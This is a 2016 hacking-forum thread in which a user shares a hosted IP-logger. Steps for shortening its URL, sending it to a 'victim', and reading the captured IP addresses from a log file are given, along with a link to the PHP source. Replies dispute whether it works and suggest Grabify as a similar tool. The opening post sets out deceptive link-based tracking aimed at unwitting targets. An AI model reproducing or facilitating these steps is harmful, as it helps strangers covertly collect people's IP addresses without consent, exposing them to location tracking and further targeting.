Thread: [\[IP-Logger\] Not a keylogger but a logger SOURCE](#)

w4zt3d - December 8, 2016, 12:22 pm

A simple IP-Logger for anyone :P

Code Here a free #IPLogger I made

Follow these 3 steps:

#1 Shorten this url "ip-logger.square7.ch"

#2 Send the shorturl to your victim

#3 view your log (time specific) at "ip-logger.square7.ch/logged-ips.txt" Hope you can use it for something.

PHP-Source: [pastebin . com / OTs2ZdH0](#)

? bye

Any way you can tell me how I can make my own site for this?

GokuHF - December 8, 2016, 5:34 pm

lol really a logger xxddddddd

Doesn't work lol. What's the point in this anyways tbh?

Aptyp - December 11, 2016, 11:23 am

this does not work. Simply coded wrong. Sorry!

Works fine for me and for others too...

whats the problem?

And what it is for?... Hmmm what can you do w/ someones ip?

Hef Bundy - December 12, 2016, 11:06 am

Grabify should do the same and I think it's maybe easier to use
